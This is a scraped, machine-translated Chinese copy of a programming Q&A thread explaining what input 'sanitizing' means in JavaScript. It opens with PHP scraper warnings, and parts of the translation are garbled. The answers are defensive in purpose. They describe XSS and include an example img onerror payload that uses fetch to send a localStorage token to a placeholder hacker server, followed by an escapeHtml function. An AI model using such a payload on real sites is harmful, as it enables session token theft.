Warning: file_get_contents(/data/phpspider/zhask/data//catemap/9/blackberry/2.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Javascript 什么是;“消毒剂”;用JS是什么意思?_Javascript - Fatal编程技术网

Javascript 什么是;“消毒剂”;用JS是什么意思?

Javascript 什么是;“消毒剂”;用JS是什么意思?,javascript,Javascript,我在读一段JS代码,有几条评论说“为搜索定义消毒剂”,我不明白这是什么意思 它是指“清洁”还是“保护”?代码是关于JS搜索的,通常下面的注释是“防止删除某些单词” 英语不是我的第一语言,所以也许这就是我不懂的原因。如果有人能给我一个解释,我将不胜感激。当有表单时,有时人们会在表单中编写恶意代码。您不希望该代码执行,因此它会进入消毒剂以防止执行 清理不限于JS,它在SQL中也是必要的: 主要的问题是,有时您希望一些HTML标记工作,但不是全部。如果您允许在博客或论坛上执行,并且有人登录,恶意用户可

我在读一段JS代码,有几条评论说“为搜索定义消毒剂”,我不明白这是什么意思

它是指“清洁”还是“保护”?代码是关于JS搜索的,通常下面的注释是“防止删除某些单词”


英语不是我的第一语言,所以也许这就是我不懂的原因。如果有人能给我一个解释,我将不胜感激。

当有表单时,有时人们会在表单中编写恶意代码。您不希望该代码执行,因此它会进入消毒剂以防止执行

清理不限于JS,它在SQL中也是必要的:


主要的问题是,有时您希望一些HTML标记工作,但不是全部。如果您允许在博客或论坛上执行
,并且有人登录,恶意用户可能会获取他们的登录信息并造成严重破坏。

在javascript生态系统中,它主要用于防止XSS(跨站点脚本)攻击,这是一种攻击类型,黑客利用前端代码中的漏洞在其他浏览器中执行恶意javascript(窃取他们的令牌、密码甚至更多)

这种类型的攻击利用用户输入绑定到html视图或使用不安全函数eval(将字符串作为代码进行评估)来执行他们想要的代码让我们举一个例子来说明这一点:

如果您有一个用户输入,将url带到他的个人资料图片,则该图片将通过img标记的src属性显示:

<img src="userProfilePictureURL" />
最重要的部分是第一次关闭“在onerror关闭src属性并允许其他属性进入并在其上注入javascript之前”,存储的结果是:

<img src="http://falseurl.com/img.png" onerror="fetch('thehackerserverUrl',{localstorage.token})">

由于url不存在,它将退回到onerror处理程序并将令牌发送给黑客。 为了防止这种任意代码注入,我们主要通过转义这些字符来清理用户输入,并用它们各自的html安全名称代码替换它们。 这样,恶意代码将作为字符串而不是可执行代码添加

function escapeHtml(unsafe) {
   return unsafe
     .replace(/&/g, "&amp;")
     .replace(/</g, "&lt;")
     .replace(/>/g, "&gt;")
     .replace(/"/g, "&quot;")
     .replace(/'/g, "&#039;");
 }
函数escapeHtml(不安全){
不安全返回
.替换(/&/g,“&;”)
.replace(//g,“”)
.替换(/“/g,”)
.替换(/'/g,';);
}

如果你能提供一个链接到你看到这条评论的代码,你会得到更多有用的答案。@DillanWilding我在图片下面放了这样的东西:þ
function escapeHtml(unsafe) {
   return unsafe
     .replace(/&/g, "&amp;")
     .replace(/</g, "&lt;")
     .replace(/>/g, "&gt;")
     .replace(/"/g, "&quot;")
     .replace(/'/g, "&#039;");
 }